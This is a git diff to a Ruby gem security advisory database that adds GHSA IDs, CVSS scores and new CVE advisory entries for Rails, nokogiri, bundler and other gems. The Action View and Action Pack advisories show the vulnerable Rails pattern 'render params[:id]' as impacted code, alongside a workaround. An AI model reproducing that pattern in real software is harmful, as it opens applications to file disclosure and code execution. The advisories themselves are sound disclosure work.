-    patches \nfor it. It is in git-am format and consist of a single changeset.\n\n*
-    3-2-render_data_leak_2.patch - Patch for 3.2 series\n* 4-1-render_data_leak_2.patch
-    - Patch for 4.1 series\n\nCredits \n------- \nThanks to both Jyoti Singh and Tobias
-    Kraze from makandra for reporting this \nand working with us in the patch!\n"
+  date: 2016-02-29
+  description: |2
+
+    There is a possible directory traversal and information leak vulnerability
+    in Action View. This was meant to be fixed on CVE-2016-0752. However the 3.2
+    patch was not covering all the scenarios. This vulnerability has been
+    assigned the CVE identifier CVE-2016-2097.
+
+    Versions Affected:  3.2.x, 4.0.x, 4.1.x
+    Not affected:       4.2+
+    Fixed Versions:     3.2.22.2, 4.1.14.2
+
+    Impact
+    ------
+    Applications that pass unverified user input to the `render` method in a
+    controller may be vulnerable to an information leak vulnerability.
+
+    Impacted code will look something like this:
+
+    ```ruby
+    def index
+      render params[:id]
+    end
+    ```
+
+    Carefully crafted requests can cause the above code to render files from
+    unexpected places like outside the application's view directory, and can
+    possibly escalate this to a remote code execution attack.
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The FIXED releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    A workaround to this issue is to not pass arbitrary user input to the `render`
+    method. Instead, verify that data before passing it to the `render` method.
+
+    For example, change this:
+
+    ```ruby
+    def index
+      render params[:id]
+    end
+    ```
+
+    To this:
+
+    ```ruby
+    def index
+      render verify_template(params[:id])
+    end
+
+    private
+    def verify_template(name)
+      # add verification logic particular to your application here
+    end
+    ```
+
+    Patches
+    -------
+    To aid users who aren't able to upgrade immediately we have provided patches
+    for it. It is in git-am format and consist of a single changeset.
+
+    * 3-2-render_data_leak_2.patch - Patch for 3.2 series
+    * 4-1-render_data_leak_2.patch - Patch for 4.1 series
+
+    Credits
+    -------
+    Thanks to both Jyoti Singh and Tobias Kraze from makandra for reporting this
+    and working with us in the patch!
+  cvss_v3: 5.3
   unaffected_versions:
   - ">= 4.2.0"
   patched_versions:
diff --git a/advisories/_posts/2016-02-29-CVE-2016-2098.md b/advisories/_posts/2016-02-29-CVE-2016-2098.md
index 8d744f08..7c18c910 100644
--- a/advisories/_posts/2016-02-29-CVE-2016-2098.md
+++ b/advisories/_posts/2016-02-29-CVE-2016-2098.md
@@ -10,31 +10,83 @@ advisory:
   gem: actionpack
   framework: rails
   cve: 2016-2098
-  date: 2016-02-29
+  ghsa: 78rc-8c29-p45g
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/ly-IH-fxr_Q
   title: Possible remote code execution vulnerability in Action Pack
-  description: "There is a possible remote code execution vulnerability in Action
-    Pack.\nThis vulnerability has been assigned the CVE identifier CVE-2016-2098.\n\nVersions
-    Affected:  3.2.x, 4.0.x, 4.1.x, 4.2.x\nNot affected:       5.0+\nFixed Versions:
-    \    3.2.22.2, 4.1.14.2, 4.2.5.2\n\nImpact \n------ \nApplications that pass unverified
-    user input to the `render` method in a\ncontroller or a view may be vulnerable
-    to a code injection.\n\nImpacted code will look like this:\n\n```ruby\nclass TestController
-    < ApplicationController\n  def show\n    render params[:id]\n  end\nend\n```\n\nAn
-    attacker could use the request parameters to coerce the above example\nto execute
-    arbitrary ruby code.\n\nAll users running an affected release should either upgrade
-    or use one of \nthe workarounds immediately.\n\nReleases \n-------- \nThe FIXED
-    releases are available at the normal locations.\n\nWorkarounds \n----------- \nA
-    workaround to this issue is to not pass arbitrary user input to the `render`\nmethod.
-    Instead, verify that data before passing it to the `render` method.\n\nFor example,
-    change this:\n\n```ruby\ndef index\n  render params[:id]\nend\n```\n\nTo this:\n\n```ruby\ndef
-    index\n  render verify_template(params[:id])\nend\n\nprivate\ndef verify_template(name)\n
-    \ # add verification logic particular to your application here\nend\n```\n\nPatches
-    \n------- \nTo aid users who aren't able to upgrade immediately we have provided
-    a \npatch for it. It is in git-am format and consist of a single changeset.\n\n*
-    3-2-secure_inline_with_params.patch - Patch for 3.2 series\n* 4-1-secure_inline_with_params.patch
-    - Patch for 4.1 series\n* 4-2-secure_inline_with_params.patch - Patch for 4.2
-    series\n\nCredits \n------- \nThanks to both Tobias Kraze from makandra and joernchen
-    of Phenoelit for \nreporting this!\n"
+  date: 2016-02-29
+  description: |
+    There is a possible remote code execution vulnerability in Action Pack.
+    This vulnerability has been assigned the CVE identifier CVE-2016-2098.
+
+    Versions Affected:  3.2.x, 4.0.x, 4.1.x, 4.2.x
+    Not affected:       5.0+
+    Fixed Versions:     3.2.22.2, 4.1.14.2, 4.2.5.2
+
+    Impact
+    ------
+    Applications that pass unverified user input to the `render` method in a
+    controller or a view may be vulnerable to a code injection.
+
+    Impacted code will look like this:
+
+    ```ruby
+    class TestController < ApplicationController
+      def show
+        render params[:id]
+      end
+    end
+    ```
+
+    An attacker could use the request parameters to coerce the above example
+    to execute arbitrary ruby code.
+
+    All users running an affected release should either upgrade or use one of
+    the workarounds immediately.
+
+    Releases
+    --------
+    The FIXED releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    A workaround to this issue is to not pass arbitrary user input to the `render`
+    method. Instead, verify that data before passing it to the `render` method.
+
+    For example, change this:
+
+    ```ruby
+    def index
+      render params[:id]
+    end
+    ```
+
+    To this:
+
+    ```ruby
+    def index
+      render verify_template(params[:id])
+    end
+
+    private
+    def verify_template(name)
+      # add verification logic particular to your application here
+    end
+    ```
+
+    Patches
+    -------
+    To aid users who aren't able to upgrade immediately we have provided a
+    patch for it. It is in git-am format and consist of a single changeset.
+
+    * 3-2-secure_inline_with_params.patch - Patch for 3.2 series
+    * 4-1-secure_inline_with_params.patch - Patch for 4.1 series
+    * 4-2-secure_inline_with_params.patch - Patch for 4.2 series
+
+    Credits
+    -------
+    Thanks to both Tobias Kraze from makandra and joernchen of Phenoelit for
+    reporting this!
+  cvss_v3: 7.3
   unaffected_versions:
   - ">= 5.0.0.beta1"
   patched_versions:
diff --git a/advisories/_posts/2016-04-01-CVE-2016-3098.md b/advisories/_posts/2016-04-01-CVE-2016-3098.md
index 28dd6641..46ba3ff5 100644
--- a/advisories/_posts/2016-04-01-CVE-2016-3098.md
+++ b/advisories/_posts/2016-04-01-CVE-2016-3098.md
@@ -8,12 +8,15 @@ categories:
 advisory:
   gem: administrate
   cve: 2016-3098
+  ghsa: cc8c-26rj-v2vx
+  url: http://seclists.org/oss-sec/2016/q2/0
   title: Cross-site request forgery (CSRF) vulnerability in administrate gem
   date: 2016-04-01
-  url: http://seclists.org/oss-sec/2016/q2/0
-  description: "`Administrate::ApplicationController` actions didn't have CSRF protection.
+  description: |
+    "`Administrate::ApplicationController` actions didn't have CSRF protection.
     Remote attackers can hijack user's sessions and use any functionality that administrate
     exposes on their behalf."
+  cvss_v3: 5.4
   patched_versions:
   - ">= 0.1.5"
 ---
diff --git a/advisories/_posts/2016-04-13-CVE-2016-10193.md b/advisories/_posts/2016-04-13-CVE-2016-10193.md
index d661660c..26e97227 100644
--- a/advisories/_posts/2016-04-13-CVE-2016-10193.md
+++ b/advisories/_posts/2016-04-13-CVE-2016-10193.md
@@ -5,8 +5,9 @@ comments: false
 categories:
 - espeak-ruby
 advisory:
-  cve: 2016-10193
   gem: espeak-ruby
+  cve: 2016-10193
+  ghsa: 4jm3-pfpf-h54p
   url: https://github.com/dejan/espeak-ruby/issues/7
   title: espeak-ruby Gem for Ruby Arbitrary Command Execution
   date: 2016-04-13
@@ -15,6 +16,7 @@ advisory:
     command. An attacker can execute malicious commands by modifying
     the strings that are passed as arguments to the speak, save, bytes
     and bytes_wav methods in the lib/espeak/speech.rb library.
+  cvss_v3: 9.8
   patched_versions:
   - ">= 1.0.3"
 ---
diff --git a/advisories/_posts/2016-04-20-CVE-2016-3693.md b/advisories/_posts/2016-04-20-CVE-2016-3693.md
index c2510c3e..684997a5 100644
--- a/advisories/_posts/2016-04-20-CVE-2016-3693.md
+++ b/advisories/_posts/2016-04-20-CVE-2016-3693.md
@@ -8,14 +8,16 @@ categories:
 advisory:
   gem: safemode
   cve: 2016-3693
+  ghsa: c92m-rrrc-q5wf
+  url: http://seclists.org/oss-sec/2016/q2/119
   title: Safemode Gem for Ruby is vulnerable to information disclosure
   date: 2016-04-20
-  url: http://seclists.org/oss-sec/2016/q2/119
   description: |
     Safemode is initialised with an optional 'delegate' object.
     If the delegated object is a Rails controller, 'inspect' could
     be called which then exposes all informations about the App,
     including routes, secret tokens, caches and so on.
+  cvss_v3: 8.1
   patched_versions:
   - ">= 1.2.4"
 ---
diff --git a/advisories/_posts/2016-04-23-CVE-2016-10194.md b/advisories/_posts/2016-04-23-CVE-2016-10194.md
index 07a905bb..890858bc 100644
--- a/advisories/_posts/2016-04-23-CVE-2016-10194.md
+++ b/advisories/_posts/2016-04-23-CVE-2016-10194.md
@@ -6,8 +6,9 @@ comments: false
 categories:
 - festivaltts4r
 advisory:
-  cve: 2016-10194
   gem: festivaltts4r
+  cve: 2016-10194
+  ghsa: f7f4-5w9j-23p2
   url: https://github.com/spejman/festivaltts4r/issues/1
   title: festivaltts4r Gem for Ruby Arbitrary Command Execution
   date: 2016-04-23
@@ -16,4 +17,5 @@ advisory:
     command. An attacker can execute malicious commands by modifying
     the strings that are passed as arguments to the to_speech and
     and to_mp3 methods in lib/festivaltts4r/festival4r.rb library.
+  cvss_v3: 9.8
 ---
diff --git a/advisories/_posts/2016-04-26-CVE-2016-2785.md b/advisories/_posts/2016-04-26-CVE-2016-2785.md
new file mode 100644
index 00000000..6ed3254a
--- /dev/null
+++ b/advisories/_posts/2016-04-26-CVE-2016-2785.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2016-2785 (puppet): Puppet Improper Access Control'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2016-2785
+  ghsa: pqj5-7r86-64fv
+  url: https://www.puppet.com/security/cve/cve-2016-2785-incorrect-url-decoding
+  title: Puppet Improper Access Control
+  date: 2016-04-26
+  description: |
+    Puppet Server before 2.3.2 and
+    Ruby puppetmaster in Puppet 4.x before 4.4.2 and in
+    Puppet Agent before 1.4.2
+    might allow remote attackers to bypass intended auth.conf
+    access restrictions by leveraging incorrect URL decoding.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 4.4.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-2785
+    - https://www.puppet.com/security/cve/cve-2016-2785-incorrect-url-decoding
+    - https://github.com/puppetlabs/puppet/pull/4921
+    - https://github.com/puppetlabs/puppet/pull/4921/commits/8d2ce797db265720f0a20d1d46ee2757b4e4f6b2
+    - https://security.gentoo.org/glsa/201606-02
+    - https://github.com/advisories/GHSA-pqj5-7r86-64fv
+---
diff --git a/advisories/_posts/2016-05-18-CVE-2016-4442.md b/advisories/_posts/2016-05-18-CVE-2016-4442.md
index f3e1599e..bb5be4ac 100644
--- a/advisories/_posts/2016-05-18-CVE-2016-4442.md
+++ b/advisories/_posts/2016-05-18-CVE-2016-4442.md
@@ -8,11 +8,14 @@ categories:
 advisory:
   gem: rack-mini-profiler
   cve: 2016-4442
+  ghsa: j5hj-fhc9-g24m
   url: https://github.com/MiniProfiler/rack-mini-profiler/commit/4273771d65f1a7411e3ef5843329308d0e2d257c
   title: rack-mini-profiler may disclose information to unauthorized users
   date: 2016-05-18
-  description: Carefully crafted requests can expose information about strings and
-    objects allocated during the request for unauthorised users.
+  description: |
+    Carefully crafted requests can expose information about strings and objects
+    allocated during the request for unauthorised users.
+  cvss_v3: 5.3
   patched_versions:
   - ">= 0.10.1"
   related:
diff --git a/advisories/_posts/2016-06-07-CVE-2015-8806.md b/advisories/_posts/2016-06-07-CVE-2015-8806.md
index d184195f..38bbde5d 100644
--- a/advisories/_posts/2016-06-07-CVE-2015-8806.md
+++ b/advisories/_posts/2016-06-07-CVE-2015-8806.md
@@ -7,18 +7,24 @@ categories:
 advisory:
   gem: nokogiri
   cve: 2015-8806
+  ghsa: 7hp2-xwpj-95jq
   url: https://github.com/sparklemotion/nokogiri/issues/1473
   title: Denial of service or RCE from libxml2 and libxslt
   date: 2016-06-07
-  description: "Nokogiri is affected by series of vulnerabilities in libxml2 and libxslt,\nwhich
-    are libraries Nokogiri depends on. It was discovered that libxml2 and\nlibxslt
-    incorrectly handled certain malformed documents, which can allow\nmalicious users
-    to cause issues ranging from denial of service to remote code\nexecution attacks.\n\nFor
-    more information, the Ubuntu Security Notice is a good start: \nhttp://www.ubuntu.com/usn/usn-2994-1/\n"
-  patched_versions:
-  - ">= 1.6.8"
+  description: |
+    Nokogiri is affected by series of vulnerabilities in libxml2 and libxslt,
+    which are libraries Nokogiri depends on. It was discovered that libxml2 and
+    libxslt incorrectly handled certain malformed documents, which can allow
+    malicious users to cause issues ranging from denial of service to remote code
+    execution attacks.
+
+    For more information, the Ubuntu Security Notice is a good start:
+    http://www.ubuntu.com/usn/usn-2994-1/
+  cvss_v3: 7.5
   unaffected_versions:
   - "< 1.6.0"
+  patched_versions:
+  - ">= 1.6.8"
   related:
     cve:
     - 2016-1762
diff --git a/advisories/_posts/2016-06-16-CVE-2016-10362.md b/advisories/_posts/2016-06-16-CVE-2016-10362.md
new file mode 100644
index 00000000..54dc2068
--- /dev/null
+++ b/advisories/_posts/2016-06-16-CVE-2016-10362.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2016-10362 (logstash-core): Logstash Logs Sensitive Information'
+comments: false
+categories:
+- logstash-core
+advisory:
+  gem: logstash-core
+  cve: 2016-10362
+  ghsa: 3gg4-6hqg-2vjx
+  url: https://web.archive.org/web/20210730201452/http://www.securityfocus.com/bid/99154
+  title: Logstash Logs Sensitive Information
+  date: 2016-06-16
+  description: |
+    Prior to Logstash version 5.0.1, Elasticsearch Output plugin when updating
+    connections after sniffing, would log to file HTTP basic auth credentials.
+  cvss_v2: 4.0
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 5.0.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-10362
+    - https://web.archive.org/web/20210730201452/http://www.securityfocus.com/bid/99154
+    - https://www.opencve.io/cve/CVE-2016-10362
+    - https://www.elastic.co/community/security
+    - https://github.com/advisories/GHSA-3gg4-6hqg-2vjx
+---
diff --git a/advisories/_posts/2016-06-24-CVE-2016-5697.md b/advisories/_posts/2016-06-24-CVE-2016-5697.md
index adef8a74..87cdc216 100644
--- a/advisories/_posts/2016-06-24-CVE-2016-5697.md
+++ b/advisories/_posts/2016-06-24-CVE-2016-5697.md
@@ -7,6 +7,7 @@ categories:
 advisory:
   gem: ruby-saml
   cve: 2016-5697
+  ghsa: 36p7-xjw8-h6f2
   url: https://github.com/onelogin/ruby-saml/commit/a571f52171e6bfd87db59822d1d9e8c38fb3b995
   title: XML signature wrapping attack
   date: 2016-06-24
@@ -18,7 +19,8 @@ advisory:
 
     ruby-saml users must update to 1.3.0, which implements 3 extra validations to
     mitigate this kind of attack.
-  cvss_v3: 6.1
+  cvss_v2: 5.0
+  cvss_v3: 7.5
   patched_versions:
   - ">= 1.3.0"
 ---
diff --git a/advisories/_posts/2016-07-27-CVE-2016-10735.md b/advisories/_posts/2016-07-27-CVE-2016-10735.md
new file mode 100644
index 00000000..5fd4d1e0
--- /dev/null
+++ b/advisories/_posts/2016-07-27-CVE-2016-10735.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2016-10735 (bootstrap): XSS vulnerability via data-target in bootstrap'
+comments: false
+categories:
+- bootstrap
+advisory:
+  gem: bootstrap
+  cve: 2016-10735
+  ghsa: 4p24-vmcr-4gqj
+  url: https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2/
+  title: XSS vulnerability via data-target in bootstrap
+  date: 2016-07-27
+  description: |
+    In Bootstrap 3.x before 3.4.0 and 4.x-beta before 4.0.0-beta.2,
+    XSS is possible in the data-target attribute.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 4.0.0-beta.2"
+  related:
+    url:
+    - https://github.com/twbs/bootstrap/issues/20184
+---
diff --git a/advisories/_posts/2016-08-11-CVE-2016-6316.md b/advisories/_posts/2016-08-11-CVE-2016-6316.md
index 2b8ca6b0..e43fffc0 100644
--- a/advisories/_posts/2016-08-11-CVE-2016-6316.md
+++ b/advisories/_posts/2016-08-11-CVE-2016-6316.md
@@ -9,9 +9,10 @@ advisory:
   gem: actionview
   framework: rails
   cve: 2016-6316
-  date: 2016-08-11
+  ghsa: pc3m-v286-2jwj
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/I-VWr034ouk
   title: Possible XSS Vulnerability in Action View
+  date: 2016-08-11
   description: |
     There is a possible XSS vulnerability in Action View.  Text declared as "HTML
     safe" will not have quotes escaped when used as attribute values in tag
@@ -50,6 +51,7 @@ advisory:
 
     content_tag(:div, "hi", title: escape_quotes(sanitize(user_input)))
     ```
+  cvss_v3: 6.1
   unaffected_versions:
   - "< 3.0.0"
   patched_versions:
diff --git a/advisories/_posts/2016-08-11-CVE-2016-6317.md b/advisories/_posts/2016-08-11-CVE-2016-6317.md
index 6c3f9fe3..07217f25 100644
--- a/advisories/_posts/2016-08-11-CVE-2016-6317.md
+++ b/advisories/_posts/2016-08-11-CVE-2016-6317.md
@@ -9,9 +9,10 @@ advisory:
   gem: activerecord
   framework: rails
   cve: 2016-6317
-  date: 2016-08-11
+  ghsa: pr3r-4wrp-r2pv
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/rgO20zYW33s
   title: Unsafe Query Generation Risk in Active Record
+  date: 2016-08-11
   description: |
     There is a vulnerability when Active Record is used in conjunction with JSON
     parameter parsing. This vulnerability is similar to CVE-2012-2660,
@@ -69,6 +70,7 @@ advisory:
           user.reset_password!
         end
       ```
+  cvss_v3: 7.5
   unaffected_versions:
   - "< 4.2.0"
   - ">= 5.0.0"
diff --git a/advisories/_posts/2016-08-18-CVE-2016-6582.md b/advisories/_posts/2016-08-18-CVE-2016-6582.md
index b0dc89bc..f64fbef6 100644
--- a/advisories/_posts/2016-08-18-CVE-2016-6582.md
+++ b/advisories/_posts/2016-08-18-CVE-2016-6582.md
@@ -8,9 +8,10 @@ categories:
 advisory:
   gem: doorkeeper
   cve: 2016-6582
-  date: 2016-08-18
+  ghsa: 3m6r-39p3-jq25
   url: http://www.openwall.com/lists/oss-security/2016/08/19/2
   title: Doorkeeper gem does not revoke tokens & uses wrong auth/auth method
+  date: 2016-08-18
   description: |
     Doorkeeper failed to implement OAuth 2.0 Token Revocation (RFC 7009) in the
     following ways:
@@ -36,6 +37,7 @@ advisory:
     compromised confidential client could "grief" other clients by revoking
     their tokens (albeit this is an exceptionally narrow attack with little
     value).
+  cvss_v3: 9.1
   unaffected_versions:
   - "< 1.2.0"
   patched_versions:
diff --git a/advisories/_posts/2016-08-22-CVE-2016-10173.md b/advisories/_posts/2016-08-22-CVE-2016-10173.md
index 097fac3c..af9e6980 100644
--- a/advisories/_posts/2016-08-22-CVE-2016-10173.md
+++ b/advisories/_posts/2016-08-22-CVE-2016-10173.md
@@ -7,6 +7,7 @@ categories:
 advisory:
   gem: minitar
   cve: 2016-10173
+  ghsa: h5g2-38x9-4gv3
   url: https://github.com/halostatue/minitar/issues/16
   title: Minitar Directory Traversal Vulnerability
   date: 2016-08-22
@@ -18,6 +19,11 @@ advisory:
     http://www.cvedetails.com/cve/CVE-2001-1267/
 
     Credit: ecneladis
+  cvss_v3: 7.5
   patched_versions:
-  - ">= 0.6.1"
+  - ">= 0.6.0"
+  related:
+    url:
+    - https://github.com/halostatue/minitar/issues/16
+    - https://github.com/halostatue/minitar/commit/e25205ecbb6277ae8a3df1e6a306d7ed4458b6e4
 ---
diff --git a/advisories/_posts/2016-08-27-CVE-2016-7103.md b/advisories/_posts/2016-08-27-CVE-2016-7103.md
new file mode 100644
index 00000000..fe8d2632
--- /dev/null
+++ b/advisories/_posts/2016-08-27-CVE-2016-7103.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2016-7103 (jquery-ui-rails): XSS Vulnerability on closeText option of
+  Dialog jQuery UI'
+comments: false
+categories:
+- jquery-ui-rails
+- rails
+advisory:
+  gem: jquery-ui-rails
+  framework: rails
+  cve: 2016-7103
+  ghsa: hpcf-8vf9-q4gj
+  url: https://github.com/jquery/api.jqueryui.com/issues/281
+  title: XSS Vulnerability on closeText option of Dialog jQuery UI
+  date: 2016-08-27
+  description: |
+    Cross-site scripting (XSS) vulnerability in jQuery UI before 1.12.0 might
+    allow remote attackers to inject arbitrary web script or HTML via the
+    closeText parameter of the dialog function.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 6.0.0"
+  related:
+    url:
+    - https://github.com/jquery/jquery-ui/pull/1635
+    - https://github.com/jquery-ui-rails/jquery-ui-rails/blob/master/History.md#600
+---
diff --git a/advisories/_posts/2016-10-06-CVE-2016-7954.md b/advisories/_posts/2016-10-06-CVE-2016-7954.md
new file mode 100644
index 00000000..7631a636
--- /dev/null
+++ b/advisories/_posts/2016-10-06-CVE-2016-7954.md
@@ -0,0 +1,48 @@
+---
+layout: advisory
+title: 'CVE-2016-7954 (bundler): Allows an attacker to inject arbitrary code into
+  your application via any secondary Gem source declared in your Gemfile'
+comments: false
+categories:
+- bundler
+advisory:
+  gem: bundler
+  cve: 2016-7954
+  ghsa: jvgm-pfqv-887x
+  url: https://collectiveidea.com/blog/archives/2016/10/06/bundlers-multiple-source-security-vulnerability
+  title: Allows an attacker to inject arbitrary code into your application via any
+    secondary Gem source declared in your Gemfile
+  date: 2016-10-06
+  description: |
+    Bundler 1.x might allow remote attackers to inject arbitrary Ruby
+    code into an application by leveraging a Gem name collision on a
+    secondary source.
+
+    Please note that this vulnerability only applies for Ruby
+    projects using Bundler < 2.0 with Gemfiles having 2 or more
+    "source" lines.
+
+    In other words, if the user's Gemfile does not use multiple
+    sources, this vulnerability can be ignored.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.0.0"
+  related:
+    cve:
+    - 2013-0334
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-7954
+    - https://collectiveidea.com/blog/archives/2016/10/06/bundlers-multiple-source-security-vulnerability
+    - https://bundler.io/blog/2014/08/14/bundler-may-install-gems-from-a-different-source-than-expected-cve-2013-0334.html
+    - https://github.com/advisories/GHSA-jvgm-pfqv-887x
+    - https://seclists.org/oss-sec/2016/q4/25
+    - https://seclists.org/oss-sec/2016/q4/18
+    - https://seclists.org/oss-sec/2016/q4/20
+    - https://github.com/rubygems/bundler/pull/3696
+    - https://github.com/rubygems/bundler/issues/3671
+    - https://github.com/rubygems/bundler/issues/5274
+    - https://github.com/rubygems/bundler/issues/5051
+    - https://github.com/rubygems/bundler/issues/5062
+  notes: 'NOTE: This might overlap CVE-2013-0334.; GHSA is unreviewed'
+---
diff --git a/advisories/_posts/2016-11-09-CVE-2016-10345.md b/advisories/_posts/2016-11-09-CVE-2016-10345.md
new file mode 100644
index 00000000..c98024d9
--- /dev/null
+++ b/advisories/_posts/2016-11-09-CVE-2016-10345.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2016-10345 (passenger): Predictable tmp File Path Vulnerability in Phusion
+  Passenger'
+comments: false
+categories:
+- passenger
+advisory:
+  gem: passenger
+  cve: 2016-10345
+  ghsa: cqxw-3p7v-p9gr
+  url: https://blog.phusion.nl/2017/01/10/passenger-5-1-1/
+  title: Predictable tmp File Path Vulnerability in Phusion Passenger
+  date: 2016-11-09
+  description: |
+    In Phusion Passenger before 5.1.0, a known /tmp filename was used during
+    passenger-install-nginx-module execution, which could allow local attackers to gain
+    the privileges of the passenger user.
+  cvss_v2: 4.6
+  cvss_v3: 7.8
+  patched_versions:
+  - ">= 5.1.0"
+---
diff --git a/advisories/_posts/2016-12-21-CVE-2016-10522.md b/advisories/_posts/2016-12-21-CVE-2016-10522.md
new file mode 100644
index 00000000..3671e6b2
--- /dev/null
+++ b/advisories/_posts/2016-12-21-CVE-2016-10522.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2016-10522 (rails_admin): CSRF vulnerability in rails_admin'
+comments: false
+categories:
+- rails_admin
+advisory:
+  gem: rails_admin
+  cve: 2016-10522
+  ghsa: pxqr-8v54-m2hj
+  url: https://www.sourceclear.com/blog/Rails_admin-Vulnerability-Disclosure/
+  title: CSRF vulnerability in rails_admin
+  date: 2016-12-21
+  description: |
+    The rails_admin gem is vulnerable to cross-site request forgery (CSRF) attacks.
+    Due to a bug, non-GET methods were not validating CSRF tokens and, as a result,
+    an attacker could hypothetically gain access to the application administrative
+    endpoints exposed by the gem.
+  cvss_v2: 5.5
+  cvss_v3: 8.8
+  unaffected_versions:
+  - "< 1.0.0"
+  patched_versions:
+  - ">= 1.1.1"
+  related:
+    url:
+    - https://www.sourceclear.com/registry/security/cross-site-request-forgery-csrf-/ruby/sid-3173
+    - https://github.com/sferik/rails_admin/commit/b13e879eb93b661204e9fb5e55f7afa4f397537a
+---
diff --git a/advisories/_posts/2017-01-11-CVE-2017-18076.md b/advisories/_posts/2017-01-11-CVE-2017-18076.md
new file mode 100644
index 00000000..ac1e64a5
--- /dev/null
+++ b/advisories/_posts/2017-01-11-CVE-2017-18076.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2017-18076 (omniauth): omniauth leaks authenticity token in callback params'
+comments: false
+categories:
+- omniauth
+advisory:
+  gem: omniauth
+  cve: 2017-18076
+  ghsa: 9pr6-grf4-x2fr
+  url: https://github.com/omniauth/omniauth/pull/867
+  title: omniauth leaks authenticity token in callback params
+  date: 2017-01-11
+  description: |
+    In strategy.rb in OmniAuth before 1.3.2, the authenticity_token value
+    is improperly protected because POST (in addition to GET) parameters are stored
+    in the session and become available in the environment of the callback phase.
+  cvss_v2: 6.8
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.3.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-18076
+---
diff --git a/advisories/_posts/2017-02-27-CVE-2017-5946.md b/advisories/_posts/2017-02-27-CVE-2017-5946.md
index e2f6105e..db6c5451 100644
--- a/advisories/_posts/2017-02-27-CVE-2017-5946.md
+++ b/advisories/_posts/2017-02-27-CVE-2017-5946.md
@@ -7,15 +7,17 @@ categories:
 advisory:
   gem: rubyzip
   cve: 2017-5946
+  ghsa: gcqq-w6gr-h9j9
   url: https://github.com/rubyzip/rubyzip/issues/315
   title: Directory traversal vulnerability in rubyzip
   date: 2017-02-27
   description: |
-    The Zip::File component in the rubyzip gem before 1.2.1 for Ruby has a directory
-    traversal vulnerability. If a site allows uploading of .zip files, an attacker
-    can upload a malicious file that uses "../" pathname substrings to write arbitrary
-    files to the filesystem.
-  cvss_v3: 6.1
+    The Zip::File component in the rubyzip gem before 1.2.1 for Ruby has a
+    directory traversal vulnerability. If a site allows uploading of .zip files,
+    an attacker can upload a malicious file that uses "../" pathname substrings to
+    write arbitrary files to the filesystem.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
   patched_versions:
   - ">= 1.2.1"
 ---
diff --git a/advisories/_posts/2017-03-11-CVE-2016-4658.md b/advisories/_posts/2017-03-11-CVE-2016-4658.md
new file mode 100644
index 00000000..9166ac2e
--- /dev/null
+++ b/advisories/_posts/2017-03-11-CVE-2016-4658.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2016-4658 (nokogiri): Nokogiri gem contains several vulnerabilities in
+  libxml2 and libxslt'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2016-4658
+  ghsa: fr52-4hqw-p27f
+  url: https://github.com/sparklemotion/nokogiri/issues/1615
+  title: Nokogiri gem contains several vulnerabilities in libxml2 and libxslt
+  date: 2017-03-11
+  description: |
+    Nokogiri version 1.7.1 has been released, pulling in several upstream
+    patches to the vendored libxml2 to address the following CVEs:
+
+    CVE-2016-4658
+    CVSS v3 Base Score: 9.8 (Critical)
+    libxml2 in Apple iOS before 10, OS X before 10.12, tvOS before 10, and
+    watchOS before 3 allows remote attackers to execute arbitrary code or cause
+    a denial of service (memory corruption) via a crafted XML document.
+
+    CVE-2016-5131
+    CVSS v3 Base Score: 8.8 (HIGH)
+    Use-after-free vulnerability in libxml2 through 2.9.4, as used in Google
+    Chrome before 52.0.2743.82, allows remote attackers to cause a denial of
+    service or possibly have unspecified other impact via vectors related to
+    the XPointer range-to function.
+  cvss_v2: 10.0
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.7.1"
+  related:
+    cve:
+    - 2016-5131
+    url:
+    - https://github.com/sparklemotion/nokogiri/issues/1615
+---
diff --git a/advisories/_posts/2017-04-05-CVE-2017-7540.md b/advisories/_posts/2017-04-05-CVE-2017-7540.md
new file mode 100644
index 00000000..c2c82602
--- /dev/null
+++ b/advisories/_posts/2017-04-05-CVE-2017-7540.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2017-7540 (safemode): Safemode Gem for Ruby is vulnerable to bypassing
+  safe mode limitations'
+comments: false
+categories:
+- safemode
+advisory:
+  gem: safemode
+  cve: 2017-7540
+  ghsa: 5vx5-9q73-wgp4
+  url: https://nvd.nist.gov/vuln/detail/CVE-2017-7540
+  title: Safemode Gem for Ruby is vulnerable to bypassing safe mode limitations
+  date: 2017-04-05
+  description: |
+    Safemode, as used in Foreman, versions 1.3.2 and earlier are vulnerable
+    to bypassing safe mode limitations via special Ruby syntax. This can
+    lead to deletion of objects for which the user does not have delete
+    permissions or possibly to privilege escalation.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.3.3"
+  related:
+    url:
+    - https://github.com/svenfuchs/safemode/pull/23
+---
